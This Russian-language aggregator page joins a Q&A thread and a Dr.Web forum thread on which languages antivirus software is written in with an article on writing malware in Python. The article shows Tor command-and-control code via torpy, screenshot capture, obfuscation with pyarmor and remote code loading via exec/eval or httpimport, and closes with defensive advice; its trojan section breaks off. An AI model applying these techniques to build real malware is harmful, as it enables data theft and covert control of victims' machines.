На каком языке пишут антивирусные программы

Привет!
Хотел бы узнать, на каком языке программирования пишут антивирусные программы, и если не секрет, на чем именно сейчас пишут вирусы?

  • Вопрос задан более трёх лет назад
  • 1998 просмотров

1 комментарий

Простой 1 комментарий

А кто вообще видел вирус? Я уже лет 15 не видел ни одного и даже не слышал.
А если речь о вредоносном ПО, то хоть на макросах, без разницы.

Решения вопроса 1

Zoominger

System Integrator

Нод был (а может, и есть) на Ассемблере. А так — Сишка, Кресты.
По вирусам не советую спрашивать, а то прибежит толпа мамкиных хаккиров и будет пороть чушь.

Ответ написан более трёх лет назад
Нравится 1 5 комментариев
И много в том НОДе было на ассемблере? А в современных нет ассемблера совсем?

Zoominger

Какой язык программирования выбрать начинающим? (и первая практика кодирования — пишем бота)

Ezhyg, не знаю, у меня исходников нет 🙂

Рональд Макдональд, только некоторые части ядра, даже не всё. Потому он и был такой шустрый. Но ведь тот же Гуй писать на ассемблере это слегка перебор.

Zoominger

Ezhyg, ну это очевидно.
Ответы на вопрос 2

Спрашивать о том, на каком языке пишут тот или иной софт — бессмысленно, кроме отдельных случаев. Специальных языков для антивирусов не существует. Любой компилируемый язык общего назначения — подойдёт.

Ответ написан более трёх лет назад
Нравится 2 2 комментария

Нет, я же не спрашивал о какич-то конкретных языках, я спросил какие более удобны и лучше подходят. Но все-равно спасибо!

KodeR0, возможно, вы говорите на языке, который только похож на русский, но когда по-русски спрашивают «на каком языке», в этой фразе пояснение «я не спрашивал о конкретных языках» не содержится.

Источник: qna.habr.com

На каком языке программирования пишутся утилиты dr web и сами антивирусы?

- - - - -

  • Members
  • 0 Сообщений:
  • Отправлено 15 Май 2018 — 21:30

    Привет всем ;)! Увлекаюсь программированием и собственно хочу узнать на каких языках пишется ПО dr web? Просьба знатокам ответить содержательнее :)

    .

    ЛУЧШИЕ ЯЗЫКА для #ХАКЕРА! — ответ от #профи!

    #2 SergSG

  • Posters
  • 14 397 Сообщений:
  • Отправлено 15 Май 2018 — 21:54

    Си++, скрипты, html. Если последние два можно назвать языками.

    #3 IlyaS

  • Posters
  • 2 911 Сообщений:
  • Отправлено 15 Май 2018 — 22:43

    ;)

    Конечно же, на Go

    #4 Konstantin Yudin

    Konstantin Yudin

  • Dr.Web Staff
  • 19 458 Сообщений:
  • Отправлено 16 Май 2018 — 10:39

    98% это c++ не ниже 11 стандарта. Драйвера на с. Маки само собой с участием objective-c, но даже там с++. javascript и т.п. для консолей и т.п. Lua для написания логики приложении. .net языки в плагинах. Есть питон, go, perl, php и .т.д.

    Язык это лишь средство выражения и решения конкретной задачи. Для программистов важен не язык а алгоритмы и образ мышления. Мое мнение что мы слишком увлеклись C++, его долю надо снижать, а то кодят на нем все что придется, как будто ничего другого нет, и иногда это такая боль.

    Сообщение было изменено Konstantin Yudin: 16 Май 2018 — 10:39

    With best regards, Konstantin Yudin
    Doctor Web, Ltd.

    #5 SergSG

  • Posters
  • 14 397 Сообщений:
  • Отправлено 18 Май 2018 — 20:25

    Мое мнение что мы слишком увлеклись C++, его долю надо снижать, а то кодят на нем все что придется, как будто ничего другого нет, и иногда это такая боль.

    Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.

    Читайте также:
    Самая дорогая программа в Плей Маркете

    #6 Afalin

  • Dr.Web Staff
  • 5 624 Сообщений:
  • Отправлено 18 Май 2018 — 22:35

    Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.

    Не писать же теперь всё подряд на Си без использования этих нескольких мест.

    Семь раз отрежь – один раз проверь

    #7 SergSG

  • Posters
  • 14 397 Сообщений:
  • Отправлено 19 Май 2018 — 18:16

    Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.

    Не писать же теперь всё подряд на Си без использования этих нескольких мест.

    :)

    Ну, можно писать на html, который, встроенный в приложение и написанный на Си браузер, будет транслировать в системные вызова, написанные тоже на Си.

    В итоге — тяжелое, тормозное, неуклюжее нечто. Но да, писать проще. Наверно.

    #8 Internet

  • Posters
  • 444 Сообщений:
  • Отправлено 19 Май 2018 — 21:42

    Си++, скрипты, html. Если последние два можно назвать языками.

    html — уж точно не язык программирования)))

    #9 SergSG

  • Posters
  • 14 397 Сообщений:
  • Отправлено 19 Май 2018 — 21:57

    Си++, скрипты, html. Если последние два можно назвать языками.

    html — уж точно не язык программирования)))

    Формально да. Хотя, скорее это вопрос терминологии.

    Во всяком случае, его полно в приложениях у многих продуктов.

    #10 Konstantin Yudin

    Konstantin Yudin

  • Dr.Web Staff
  • 19 458 Сообщений:
  • Отправлено 21 Май 2018 — 11:07

    Мое мнение что мы слишком увлеклись C++, его долю надо снижать, а то кодят на нем все что придется, как будто ничего другого нет, и иногда это такая боль.

    Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.

    где ты С увидел? Даже в ядре винды уже многие вещи переписаны на C++, драйвера, само ядро частями, а уж в юзермоде и подавно все на плюсах уже. С в сплывает только в убогом экспортном апи, который все ни как не могут заменить.

    With best regards, Konstantin Yudin
    Doctor Web, Ltd.

    #11 SergSG

  • Posters
  • 14 397 Сообщений:
  • Отправлено 21 Май 2018 — 14:51

    Мое мнение что мы слишком увлеклись C++, его долю надо снижать, а то кодят на нем все что придется, как будто ничего другого нет, и иногда это такая боль.

    Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.

    где ты С увидел? Даже в ядре винды уже многие вещи переписаны на C++, драйвера, само ядро частями, а уж в юзермоде и подавно все на плюсах уже. С в сплывает только в убогом экспортном апи, который все ни как не могут заменить.

    Для меня Си == Си++. Зачем плюсы рисовать, и так понятно — про чистый Си все уже давно забыли. Разве что, в контроллерах он себя неплохо чувствует.

    #12 basid

  • Posters
  • 4 404 Сообщений:
  • Отправлено 21 Май 2018 — 15:51

    Для меня Си == Си++. Зачем плюсы рисовать, и так понятно — про чистый Си все уже давно забыли. Разве что, в контроллерах он себя неплохо чувствует.

    Не надо проецировать собственных тараканов на реальную действительность: C и C++, как были, так и остались разными языками.
    «Plain C» не забыт и вполне себе развивается.

    #13 SergSG

  • Posters
  • 14 397 Сообщений:
  • Отправлено 21 Май 2018 — 18:06

    :)

    Буквоеды.

    #14 basid

  • Posters
  • 4 404 Сообщений:
  • Отправлено 21 Май 2018 — 18:20

    Да-да — генерал это такой старый прапорщик, а так — всё одинаково.

    Читают тему: 0

    0 пользователей, 0 гостей, 0 скрытых

    Ответить на цитированные сообщения Очистить

    1. Dr.Web forum
    2. → Русские форумы
    3. → Свободное общение
    4. Privacy Policy
    5. Terms https://forum.drweb.com/index.php?showtopic=329739″ target=»_blank»]forum.drweb.com[/mask_link]

      Пишем вирусы и зловредное ПО на Python

      Пишем вирусы и зловредное ПО на Python

      В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.

      Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

      Если отбросить часть иронии…

      … и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

      Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

      Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

      Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

      Упаковка в бинарники

      Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

      • https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
      • https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.

      Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

      Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

      А шо вирусу делать?

      Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.

      Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

      Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.

      Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.

      from torpy import TorClient hostname = ‘ifconfig.me’ # It’s possible use onion hostname here as well tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Now we can communicate with host stream.send(b’GET / HTTP/1.0rnHost: %srnrn’ % hostname.encode()) recv = stream.recv(1024)

      Работа с tor c этой либой проста, не сложнее requests.

      А шо бы своровать?

      Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?

      На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

      # pyscreenshot/examples/grabfullscreen.py «Grab the whole screen» import pyscreenshot as ImageGrab # grab fullscreen im = ImageGrab.grab() # save image file im.save(«fullscreen.png»)

      Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

      Серверная токсичность

      Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

      Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

      Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.

      Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

      Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

      >>> with httpimport.remote_repo([‘package1′,’package2′,’package3’], ‘http://my-codes.example.com/python_packages’): . import package1 .
      >>> with httpimport.github_repo(‘operatorequals’, ‘covertutils’, branch = ‘master’): . import covertutils . # Also works with ‘bitbucket_repo’ and ‘gitlab_repo’

      Трояны

      Теория

      Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя.

      Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

      Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.

      Вот и все

      Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.

      Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

      Источник: uproger.com

    Рейтинг
    ( Пока оценок нет )
    Загрузка ...
    EFT-Soft.ru